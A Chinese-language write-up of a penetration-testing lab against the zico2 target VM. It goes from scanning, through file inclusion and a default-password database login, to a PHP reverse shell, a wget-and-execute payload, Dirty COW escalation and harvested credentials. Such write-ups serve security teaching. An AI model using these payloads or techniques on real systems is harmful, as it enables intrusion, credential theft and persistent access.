目錄
1. 查看Kali的IP信息;(IP:192.168.37.131)
一. 實驗環境
- 靶機:zico2,IP地址暫時未知;
- 測試機:Kali,IP地址:192.168.37.131;
- 測試機:物理機win7;
二. 實驗流程
- 信息收集——主機發現
- 信息收集——端口掃描
- 滲透測試
三. 實驗步驟
(一)信息收集——主機發現
1. 查看Kali的IP信息;(IP:192.168.37.131)
2. 掃描主機(netdiscover)
netdiscover -i eth0 -r 192.168.37.0/24
Netdiscover: -i 指定網卡 -r 指定網段
(二)信息收集——端口掃描
1. 掃描端口(masscan)
masscan --rate=10000 --ports 0-65535 192.168.37.144
掃描發現目標開放了22,80,111,51681端口;
2. 詳細掃描端口信息(nmap)
nmap 192.168.37.145 -sV -T4 -O -p 22,80,111,51681
22(ssh),80(http),111(rpcbind),51681(status);
(三)滲透測試
80端口(http服務)
1. 訪問目標靶機的80端口
1.1> 查看http服務首頁信息;
http://192.168.37.145
1.2> 查看可以點擊的頁面,尋找有價值的信息;
http://192.168.37.145/view.php?page=tools.html
可以看到鏈接後面有?page= tools.html,猜想:是否該頁面包含文件包含漏洞;
文件包含漏洞的特徵:?page=,?file=,?home=;
1.3> 嘗試文件包含漏洞;
http://192.168.37.145/view.php?page=/etc/passwd
將抓取到的包導入repeater;
那是不是就不存在文件包含漏洞呢? 對於這種情況,我們可以再做一個嘗試;
將抓取到的數據包導入repeater;
- 該網站存在文件包含漏洞;
- 如果不能直接查看到/etc/passwd下的內容,可能是因爲默認的目錄沒有在根目錄下,可以採用../../../../的方式,使其返回到根目錄下;
- 瞭解到該網站存在文件包含的漏洞,接下來就需要去尋找網站可以訪問的目錄,利用文件包含漏洞;
2. 網站目錄掃描(dirb)
dirb http://192.168.37.145
3. 查看掃描到的網站目錄
3.1> http://192.168.37.145/css/
3.2> http://192.168.37.145/dbadmin/
- 發現了一個數據庫的登錄頁面,還有對應的版本信息;
- 只有密碼;可以採用密碼爆破的方式;
嘗試用searchsploit phpLiteAdmin去查詢對應版本的漏洞;
存在PHP 遠程代碼注入漏洞;
嘗試使用弱口令進行登錄數據庫;admin
竟然意外的成功登錄,所以,弱口令還是很有用的方式;
4. 查看數據庫中的信息;
4.1> 首先查看敏感的信息users表中info;
找到兩個用戶的信息;
4.2> 嘗試使用MD5解密賬戶的密碼;
- 成功獲取兩個賬戶:
用戶名:root 密碼:34kroot34
用戶名:zico 密碼:zico2215@
- 嘗試使用獲取到的賬戶進行ssh登錄;
5. 嘗試使用ssh登錄
- 兩個賬戶都登錄失敗;
- 之前檢測到該網站的版本存在命令注入漏洞和文件包含漏洞,接下來可以進行嘗試;
6. 命令注入漏洞和文件包含漏洞的利用;
6.1> 創建一個數據庫:test_db;創建一個表:test_table,一個字段信息;
6.2> 嘗試去訪問創建的數據庫中的內容phpinfo();
http://192.168.37.145/view.php?page=../../../../usr/databases/test_db
6.3> 在網站數據庫中上傳腳本文件獲取目標靶機的shell;
創建一個數據庫:test;
創建一個表:shell,一個字段信息;
在KALI中添加shell.txt
<?php $sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
Service apache2 start
在數據庫中上傳該腳本並執行;
<?php system("wget 192.168.37.131/shell.txt -O /tmp/shell.php; php /tmp/shell.php");?>
在Kali上監聽1234端口;瀏覽器去訪問數據庫,成功獲取目標的shell;
python -c ‘import pty;pty.spawn(“/bin/bash”)’
將shell轉換爲交互式的tty;
成功獲取到shell後,就需要進行提權操作;
7. 髒牛提權
7.1> 將dirty.c文件下載到目標靶機的/tmp目錄下;
7.2> 編譯,執行
7.3> 查看此時的權限;
8. 去看看其他用戶的目錄下有什麼文件;
8.1> 在zizo的目錄下發現了WordPress文件;
8.2> 查看WordPress文件;
wp-config.php 文件是WordPress數據庫的關鍵。數據庫名、用戶名、密碼、位置都是在此設置。
8.3> 查看wp-config.php 文件
獲取到用戶名:zico,密碼:sWfCsfJSPV9H3AmQzw8;
8.4> 利用得到的密碼嘗試去登錄ssh;
成功登錄到shell,此時可以繼續使用髒牛進行提權,操作如上;
9. 留後門,清痕跡;
四. 實驗總結
- 如果看到頁面可能存在文件包含漏洞,可以使用../../../etc/passwd的方式去嘗試;
- 當滲透進系統時,可以查看其它用戶的家目錄下有什麼可以利用的信息;